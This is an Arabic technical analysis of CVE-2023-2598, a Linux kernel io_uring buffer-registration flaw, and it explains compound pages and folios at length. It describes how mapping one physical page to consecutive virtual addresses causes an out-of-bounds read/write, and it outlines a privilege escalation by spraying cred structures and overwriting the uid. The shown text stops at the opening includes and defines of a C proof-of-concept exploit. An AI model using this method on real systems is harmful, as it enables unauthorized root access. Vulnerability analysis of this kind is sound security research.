
تحليل فني واستغلال إثبات المفهوم لـ CVE-2023-2598، وهو ثغرة تصعيد امتيازات نواة Linux في تسجيل المخازن المؤقتة لـ io_uring، مع شرح مفصل لداخلية Compound Page و folio.
من خلال CVE-2023-2598 نفهم آليتي Compound Page وfolio في لينكس، ثم نرى لاحقًا ما إذا كان يمكن إتمام استغلال ثغرة اليوم الواحد (1day) CVE-2023-6560
مع ازدياد الذاكرة حجمًا، ما زالت وحدة تخصيص الصفحات الأساسية في لينكس 4K، وهو ما أصبح غير كافٍ. لذلك تم تقديم الصفحات المركبة لحل هذه المشكلة. الصفحة المركبة هي في الأساس جمع عدة صفحات كمجموعة واحدة؛ حيث يتم دمج صفحتين أو أكثر متتاليتين فيزيائيًا في وحدة واحدة يمكن، من نواحٍ عديدة، التعامل معها كصفحة واحدة أكبر حجمًا. تُستخدم في الغالب لإنشاء الصفحات الكبيرة في نظامي hugetlbfs أو الصفحات الضخمة الشفافة (transparent huge pages)، لكنها تظهر أيضًا في سيناريوهات أخرى. يمكن استخدام الصفحات المركبة كذاكرة مجهولة (anonymous memory) أو كمخازن (buffers) داخل النواة؛ غير أنها لا يمكن أن تظهر في page cache، لأن page cache يعالج الصفحات المفردة فقط.
لتخصيص صفحة مركبة، يتم استدعاء alloc_pages() مع تعيين علم التخصيص __GFP_COMP وأن يكون عدد إطارات الصفحات أكبر من 1، أي أن order يكون 1 على الأقل. وهذا تحدده آلية تنفيذ الصفحات المركبة.
لاحظ أن الصفحة المركبة يجب أن تكون متتالية فيزيائيًا بالضرورة
يُعلَّم علم (flag) الصفحة الأولى بـ PG_head، للإشارة إلى أن هذه هي الصفحة الرأسية (head page) للصفحة المركبة؛
جميع الصفحات التي تليها تُهيَّأ بخصيصتين: mapping و compound_head، ويتم من خلال compound_head تحديد ما إذا كانت الصفحة صفحة ذيل (tail page) أم صفحة رأس (head page)، راجع دالة compound_head() للتفاصيل؛
تقوم الصفحة الثانية بتخزين معلومات إضافية عن الصفحة المركبة، وهذا هو السبب في أن order الصفحة المركبة يكون 1 على الأقل؛
static inline unsigned long _compound_head(const struct page *page)
{
unsigned long head = READ_ONCE(page->compound_head);
if (unlikely(head & 1))
return head - 1;
return (unsigned long)page;
}
يتضح من ذلك أن هذا الحقل لا يحتوي على العلامة فحسب، بل يحتوي أيضًا على مؤشر إلى الـ head page.
لذلك، عند الحصول على page، يمكن بسهولة تحديد ما إذا كانت صفحة مركبة، وإذا كانت مركبة فهل هي head page أم tail page. لكن ما زالت تنقصنا معلومة جوهرية، وهي حجم هذه الصفحة المركبة؛ فإذا لم نعرف حجمها، فسنحتاج إلى معرفته عند تحرير (free) الصفحة المركبة. وهذه المعلومات كلها مخزنة في حقل lru الخاص بأول صفحة ذيل (tail page)؛ إذ يُحوَّل حجم الصفحة المركبة (order) أولاً إلى نوع مؤشر ثم يُخزَّن في lru.prev، بينما يُخزَّن دال التدمير (destructor) في lru.next.
يكفي معرفة الـ head page وحجم الصفحة المركبة لتحرير هذه الصفحة الكبيرة بشكل صحيح، لأن الصفحات المركبة دائمًا متتالية فيزيائيًا.
البنية كما هو موضح في الشكل التالي:

يمكن اعتبار folio غلافًا (wrapper) للصفحة page، بدون أي تكلفة إضافية (overhead). يمكن أن يكون folio صفحة واحدة أو صفحة مركبة.

الشكل أعلاه هو مخطط توضيحي لبنية page؛ إذ تُدير 64 بايت معلومات مثل flags, lru, mapping, index, private, {ref_, map_}count, memcg_data. عندما تكون page صفحة مركبة، تكون المعلومات مثل flags في الـ head page، بينما تعيد صفحة الذيل (tail page) استخدام هذه الحقول لإدارة معلومات مثل compound_{head, mapcount, order, nr, dtor}.
struct folio {
/* private: don't document the anon union */
union {
struct {
/* public: */
unsigned long flags;
struct list_head lru;
struct address_space *mapping;
pgoff_t index;
void *private;
atomic_t _mapcount;
atomic_t _refcount;
#ifdef CONFIG_MEMCG
unsigned long memcg_data;
#endif
/* private: the union with struct page is transitional */
};
struct page page;
};
};
في تعريف بنية folio، تكون المعلومات مثل flags وlru مطابقة تمامًا لتلك الموجودة في page، وبالتالي يمكن عمل union مع page. وبهذا يمكن استخدام folio->flags مباشرة دون الحاجة إلى folio->page->flags.
#define page_folio(p) (_Generic((p), \
const struct page *: (const struct folio *)_compound_head(p), \
struct page *: (struct folio *)_compound_head(p)))
#define nth_page(page,n) ((page) + (n))
#define folio_page(folio, n) nth_page(&(folio)->page, n)
قد يبدو page_folio مربكًا للوهلة الأولى، لكنه في الواقع مكافئ لما يلي:
switch (typeof(p)) {
case const struct page *:
return (const struct folio *)_compound_head(p);
case struct page *:
return (struct folio *)_compound_head(p)));
}
من خلال تعريف ماكرو page_folio، نجد أن folio هو في الواقع الـ head page لصفحة مركبة؛ فعند تحويل folio إلى page، يُستخدم folio->page للحصول على الـ head page، ويمكن استخدام folio_page(folio, n) للحصول على الـ tail page.
إذن، ما الفائدة من folio؟ في المقام الأول، هو لأغراض التطوير والكفاءة؛ فبدون folio، لا يمكن للدالة داخليًا تحديد ما إذا كانت الصفحة الحالية هي head page أم لا، لذا ستستدعي _compound_head. وإذا كثرت مسارات التنفيذ، فإن استدعاء _compound_head في كل دالة على طول المسار سيؤثر على الكفاءة. أما إذا كانت الدالة تقبل فقط معاملًا من نوع struct folio *، فإن هذا folio سيشير إلى الـ head page، وبالتالي لن تحتاج الدالة داخليًا إلى استدعاء _compound_head مرة أخرى.
لذلك، له ثلاث فوائد رئيسية:
تقليل استدعاءات compound_head الزائدة عن الحاجة.
إعطاء دلالة للمطوّر: بمجرد رؤية folio، يمكنه الجزم بأنه head page.
إصلاح الأخطاء المحتملة الناتجة عن استخدام tail page.
في io_uring_register_buffer الخاص بـ io_uring يوجد هذا المنطق:

عندما يكون عدد الصفحات الممرَّرة من وضع المستخدم أكبر من 1، يفحص io_uring ما إذا كان buffer المُمرَّر هو folio؛ وطريقة الفحص هي استخدام page_folio() للحصول على الصفحة الرأسية لـ page[i]. فإذا كانت الصفحة الرأسية لـ page[i] مساويةً للصفحة الرأسية لـ page[0]، يُعتبر أنهما ينتميان إلى نفس جدول الصفحة المركبة.
بشكل عام، لا توجد مشكلة في هذه المعالجة، لكن هناك حالة خاصة: إذا استخدم وضع المستخدم mmap لتعيين نفس الصفحة الفيزيائية إلى عناوين افتراضية متتالية، فإنها ستحقق أيضًا شرط الفحص أعلاه، وبالتالي سيدخل التنفيذ إلى هذا الفرع:

في هذه الحالة، يطلب وضع المستخدم صفحة فيزيائية واحدة فقط، لكن size النهائي يكون بحجم العناوين الافتراضية المتتالية، مما يجعل size أكبر من المنطقة الفيزيائية المطلوبة فعليًا. وينتج عن ذلك في النهاية قراءة وكتابة خارج الحدود.
قم برش (spray) بنى cred، ثم استخدم واجهة القراءة/الكتابة خارج الحدود لتعديل uid.
بالمقارنة مع الـ exp المنشور على الإنترنت، فإن هذا الـ exp لا يعتمد على العناوين لأنه يعدّل uid مباشرة؛ ويمكن استخدامه على أي نظام توجد به هذه الثغرة.
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <liburing.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <mqueue.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <assert.h>
#define COLOR_RED "\033[1;31m"
#define COLOR_GREEN "\033[1;32m"
#define COLOR_RESET "\033[0m"
#define PAGE_SIZE 0x1000
#define MAX_PAGES 100
#define CRED_DRAIN 100
#define CRED_SPRAY 600
#define check_ret(ret, buf) do { if((ret) < 0) { err_exit(buf); } } while(0)